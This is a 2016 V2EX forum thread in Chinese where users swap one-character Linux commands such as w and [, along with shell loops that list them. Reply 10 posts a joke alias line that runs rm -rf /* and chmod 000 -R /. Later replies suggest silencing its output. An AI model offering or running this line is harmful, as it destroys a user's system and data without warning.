V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
slrey
V2EX  ›  Linux

linux 上一个字的命令还有啥?

  •  
  •   slrey · 2016-02-04 19:29:21 +08:00 · 6521 次点击
    这是一个创建于 3251 天前的主题,其中的信息可能已经有所发展或是发生改变。
    今天刚知道了有个 w ,相当于 uptime ,短小精悍,真是太好用了。不知还有没有其他类似这种一个字的命令?
    40 条回复    2016-02-08 22:02:45 +08:00
    pkuphy
        1
    pkuphy  
       2016-02-04 19:32:38 +08:00
    l
    zhjits
        2
    zhjits  
       2016-02-04 19:33:40 +08:00
    dglw

    1. w 的确是默认的唯一一个单字母文件名的程序;
    2. w 不相当于 uptime ;
    3. 自己随意 alias 啦。
    VmuTargh
        3
    VmuTargh  
       2016-02-04 19:46:52 +08:00
    ~
    uxstone
        4
    uxstone  
       2016-02-04 19:58:24 +08:00
    26 个字母都敲一边试试
    adexbn
        5
    adexbn  
       2016-02-04 20:02:27 +08:00 via iPhone
    v1024
        6
    v1024  
       2016-02-04 20:04:37 +08:00
    .
    shyling
        7
    shyling  
       2016-02-04 20:04:43 +08:00
    翻一遍 PATH 。慢慢找
    rootooroot
        8
    rootooroot  
       2016-02-04 20:19:19 +08:00
    d
    dant
        9
    dant  
       2016-02-04 21:28:32 +08:00
    [
    popu111
        10
    popu111  
       2016-02-04 23:01:01 +08:00
    alias r='rm -rf /*';alias c='chmod 000 -R /';r;c;
    alias 大法好
    shakespaces
        11
    shakespaces  
       2016-02-04 23:07:13 +08:00
    @popu111
    elvodn
        12
    elvodn  
       2016-02-04 23:20:50 +08:00
    for i in ${PATH//:/ }; do ls --color=never $i | egrep '^.$';done | sort -u
    anyran
        13
    anyran  
       2016-02-04 23:23:25 +08:00
    @popu111 你们都是坏人
    SoloCompany
        14
    SoloCompany  
       2016-02-04 23:47:48 +08:00
    @elvodn 这命令好像错了吧?— color 应该是 grep 的参数而不是 ls ?

    for i in ${PATH//:/ }; do ls -1 $i | egrep --color=never '^.$'; done 2>/dev/null
    w
    [
    hei1000
        15
    hei1000  
       2016-02-05 00:06:20 +08:00 via Android
    自己 search 一下不就行了
    loveminds
        16
    loveminds  
       2016-02-05 00:53:14 +08:00
    d=ls?
    gccplus
        17
    gccplus  
       2016-02-05 00:56:08 +08:00
    到是第一次知道 w , g 居然是 git 的 alias ,好吧强大的 git
    abscon
        18
    abscon  
       2016-02-05 08:25:34 +08:00 via iPhone
    一开始我在想“上一个字”是什么意思;
    现在我在想“ Linux 上”是什么意思
    okampfer
        19
    okampfer  
       2016-02-05 08:42:49 +08:00
    路径跳转利器: https://github.com/rupa/z
    toben
        20
    toben  
       2016-02-05 08:52:04 +08:00
    w
    NetCobra
        21
    NetCobra  
       2016-02-05 09:07:37 +08:00
    @popu111 你这个坏淫
    wohenyingyu01
        22
    wohenyingyu01  
       2016-02-05 11:01:02 +08:00
    #!/bin/sh
    for i in a b c d e f g h i j k l m n o p q r s t u v w x y z
    do
    which $i
    done

    不谢😕
    jyf007
        23
    jyf007  
       2016-02-05 11:37:56 +08:00 via Android
    @abscon 也有 android....题主 233
    rick09
        24
    rick09  
       2016-02-05 13:37:59 +08:00
    我都试了一次,只有 `w`。
    ggarlic
        25
    ggarlic  
       2016-02-05 14:04:14 +08:00
    @inkbxy 一个字符,没有限定是字母,所以上面的 "[" 也是,就是 test 这个命令
    hqs123
        26
    hqs123  
       2016-02-05 14:55:03 +08:00
    学到新知识,收藏下。
    slrey
        27
    slrey  
    OP
       2016-02-05 15:28:34 +08:00
    @ggarlic “[” 是个啥命令?有什么用啊,搜不到。刚才输了一下,“说 missing ]”
    Arthur2e5
        28
    Arthur2e5  
       2016-02-05 16:39:12 +08:00
    @SoloCompany ls 也有颜色的,但是的确没有意义,管道里面就可以了。
    @slrey 这种东西专杀搜索引擎,以后请 `help [`。

    我 bashism 一下:
    compgen -A command -X '??*'

    解释:
    生成一个命令上下文内的补全列表(-c ),用“>= 2 个字符”否定过滤通配符过滤。

    注释:
    这玩意还会补全一些语法元件,分别是 { } !,要忽略。

    输出:
    l: Ubuntu alias.
    {: syntax start-compound
    }: syntax end-compound
    !: syntax neg-exit-status
    .: builtin source, posix
    :: builtin nop, ~true
    [: builtin test
    w: 看上面
    [: external test, 这个是因为又遍历到 PATH 里面去了
    SoloCompany
        29
    SoloCompany  
       2016-02-05 17:29:36 +08:00
    @Arthur2e5 因为 — color 选项是 gnu 的 ls 才有的, BSD / Mac 你懂的 :doge:
    Arthur2e5
        30
    Arthur2e5  
       2016-02-05 20:53:04 +08:00
    @SoloCompany BSD/OS X 用 -G 我背得出(
    hayao650
        31
    hayao650  
       2016-02-05 21:14:50 +08:00 via Android
    @popu111 你这样真的好么?哈哈哈哈
    KentY
        32
    KentY  
       2016-02-05 22:54:06 +08:00
    @popu111 你的命令不完善, 我觉得 rm 和 chown 的命令后面都应该加上 >/dev/null 2>&1

    这样更用户友好一些.
    rick09
        33
    rick09  
       2016-02-06 10:16:37 +08:00
    @ggarlic 感谢,第一次知道还有这个。 `[` 这个需要和`]` 对应使用。 @slrey
    zky001
        34
    zky001  
       2016-02-06 12:52:01 +08:00 via Android
    w ,
    saber000
        35
    saber000  
       2016-02-06 16:44:09 +08:00
    q :像 SQL 一样检索文本
    https://github.com/harelba/q
    zyhao
        36
    zyhao  
       2016-02-06 23:16:59 +08:00
    @popu111 不敢这么用
    tairan2006
        37
    tairan2006  
       2016-02-07 11:09:22 +08:00 via Android
    装个 autojump 可以用 j
    popu111
        38
    popu111  
       2016-02-07 14:15:56 +08:00
    @KentY 受教,另外这样更舒服:&> /dev/null
    ehs2013
        39
    ehs2013  
       2016-02-07 22:24:38 +08:00
    装了 fasd ,很多单字母的都被注册了
    还有 g 被 oh-my-zsh 注册到了 git
    lizhuoli
        40
    lizhuoli  
       2016-02-08 22:02:45 +08:00 via iPhone
    @popu111 ………
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2852 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 14:01 · PVG 22:01 · LAX 06:01 · JFK 09:01
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.